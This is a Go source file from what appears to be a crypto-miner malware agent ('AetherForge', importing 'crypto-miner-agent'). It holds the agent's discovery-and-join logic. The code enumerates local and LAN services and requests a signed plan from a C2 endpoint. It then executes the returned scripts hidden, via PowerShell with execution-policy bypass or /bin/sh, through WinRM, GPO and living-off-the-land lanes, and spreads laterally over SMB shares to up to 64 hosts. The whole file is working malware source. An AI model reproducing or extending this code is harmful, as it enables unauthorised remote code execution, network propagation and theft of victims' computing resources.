AetherForge/agent/deploy/discover_join.go

package deploy

import (
	"crypto/hmac"
	"crypto/sha256"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"runtime"
	"strings"

	"crypto-miner-agent/config"
)

// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
type DeployPlanBody struct {
	JoinLane       string            `json:"join_lane"`
	MatchedService string            `json:"matched_service,omitempty"`
	Action         string            `json:"action"`
	Manifest       *StagingManifest  `json:"manifest,omitempty"`
	PeerGroup      string            `json:"peer_group,omitempty"`
	Script         string            `json:"script,omitempty"`
	UNCPath        string            `json:"unc_path,omitempty"`
	MaxHosts       int               `json:"max_hosts,omitempty"`
	ImageTarURL    string            `json:"image_tar_url,omitempty"`
	ImageTarSHA256 string            `json:"image_tar_sha256,omitempty"`
}

// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
type DeployPlanResponse struct {
	OK             bool           `json:"ok"`
	Error          string         `json:"error,omitempty"`
	JoinLane       string         `json:"join_lane"`
	MatchedService string         `json:"matched_service,omitempty"`
	Plan           DeployPlanBody `json:"plan"`
	Signature      string         `json:"signature"`
}

// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
	if fleetSecret == "" || signature == "" {
		return false
	}
	payload, err := json.Marshal(plan)
	if err != nil {
		return false
	}
	mac := hmac.New(sha256.New, []byte(fleetSecret))
	mac.Write(payload)
	expected := hex.EncodeToString(mac.Sum(nil))
	return hmac.Equal([]byte(expected), []byte(signature))
}

// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
	lane := strings.TrimSpace(plan.JoinLane)
	if lane == "" {
		lane = strings.TrimSpace(plan.Action)
	}
	switch lane {
	case "do_peer":
		if plan.Manifest == nil {
			return "", fmt.Errorf("join lane do_peer requires staging manifest")
		}
		peer := strings.TrimSpace(plan.PeerGroup)
		if peer == "" {
			peer = strings.TrimSpace(plan.Manifest.PeerGroup)
		}
		msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
		if err != nil {
			return "", err
		}
		return msg, nil
	case "bits_curl", "docker_load":
		if plan.Manifest == nil {
			return "", fmt.Errorf("join lane %s requires staging manifest", lane)
		}
		msg, err := RunStagingChain(cfg, *plan.Manifest)
		if err != nil {
			return "", err
		}
		if lane == "docker_load" && plan.ImageTarURL != "" {
			msg += "; docker_load image=" + plan.ImageTarURL
		}
		return msg, nil
	case "winrm":
		if err := runJoinScript(plan.Script, true); err != nil {
			return "", err
		}
		return "winrm bootstrap script executed", nil
	case "gpo":
		if err := runJoinScript(plan.Script, true); err != nil {
			return "", err
		}
		return "gpo startup script executed", nil
	case "linux_lotl":
		if err := runJoinScript(plan.Script, false); err != nil {
			return "", err
		}
		return "linux lotl bootstrap executed", nil
	case "spread_smb_unc":
		unc := strings.TrimSpace(plan.UNCPath)
		if unc == "" {
			return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
		}
		max := plan.MaxHosts
		if max <= 0 {
			max = 64
		}
		msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
		return msg, nil
	default:
		return "", fmt.Errorf("unsupported join lane %q", lane)
	}
}

func runJoinScript(script string, windows bool) error {
	script = strings.TrimSpace(script)
	if script == "" {
		return fmt.Errorf("empty join script")
	}
	if windows || runtime.GOOS == "windows" {
		return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
	}
	return HiddenRun("/bin/sh", "-c", script)
}

// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
	var out []DeployServiceFinding
	appendHost := func(host ServiceGraphHost) {
		for _, svc := range host.Services {
			name := strings.TrimSpace(svc.ServiceName)
			if name == "" {
				continue
			}
			out = append(out, DeployServiceFinding{
				Name:        name,
				Status:      serviceStatusForPlan(svc),
				DisplayName: name,
			})
		}
	}
	appendHost(result.Local)
	for _, h := range result.LANHosts {
		appendHost(h)
	}
	return out
}

// DeployServiceFinding mirrors the server deploy-plan request service row.
type DeployServiceFinding struct {
	Name        string `json:"name"`
	DisplayName string `json:"display_name,omitempty"`
	Status      string `json:"status"`
	StartType   string `json:"start_type,omitempty"`
}

// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
func PickLocalJoinLane(discoveryJSON string) string {
	result, err := ParseServiceDiscoverJSON(discoveryJSON)
	if err != nil {
		return ""
	}
	var best string
	for _, svc := range result.Local.Services {
		lane := strings.TrimSpace(svc.JoinLaneCandidate)
		if lane == "" {
			lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
		}
		if lane != "" {
			best = lane
		}
	}
	return best
}

// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
// fetchPlan is injected for tests.
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)

func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
	raw := RunServiceDiscoverForJoin(maxLANHosts)
	result, parseErr := ParseServiceDiscoverJSON(raw)
	if parseErr != nil {
		return "", "", fmt.Errorf("parse discovery: %w", parseErr)
	}
	services := ServicesForDeployPlan(result)
	if len(services) == 0 {
		return "", "", fmt.Errorf("no services discovered")
	}

	uncPath := firstSMBShareUNC(result)
	resp, err := fetchPlan(services, uncPath)
	if err != nil {
		return "", "", err
	}
	if !resp.OK && resp.Error != "" {
		return "", "", fmt.Errorf("%s", resp.Error)
	}
	if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
		return "", "", fmt.Errorf("no allowlisted running services matched")
	}
	if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
		return "", "", fmt.Errorf("deploy plan signature invalid")
	}
	joinLane = resp.JoinLane
	if joinLane == "" {
		joinLane = resp.Plan.JoinLane
	}
	msg, err := ExecuteDeployPlan(cfg, resp.Plan)
	if err != nil {
		return joinLane, "", err
	}
	return joinLane, msg, nil
}

// runServiceDiscoverFn allows tests to stub discovery output.
var runServiceDiscoverFn func(maxLANHosts int) string

func RunServiceDiscoverForJoin(maxLANHosts int) string {
	if runServiceDiscoverFn != nil {
		return runServiceDiscoverFn(maxLANHosts)
	}
	return RunServiceDiscover(maxLANHosts)
}

func firstSMBShareUNC(result ServiceDiscoverResult) string {
	for _, h := range result.LANHosts {
		for _, svc := range h.Services {
			name := strings.ToLower(svc.ServiceName)
			if strings.HasPrefix(name, "smb-share:") {
				share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
				if share != "" && h.Host != "" {
					return `\\` + h.Host + `\` + share
				}
			}
		}
	}
	return ""
}

func serviceStatusForPlan(svc ServiceGraphEntry) string {
	if st := strings.TrimSpace(svc.Status); st != "" {
		return st
	}
	switch svc.Source {
	case "lan_port", "smb_share", "passive_hint":
		return "running"
	default:
		return "running"
	}
}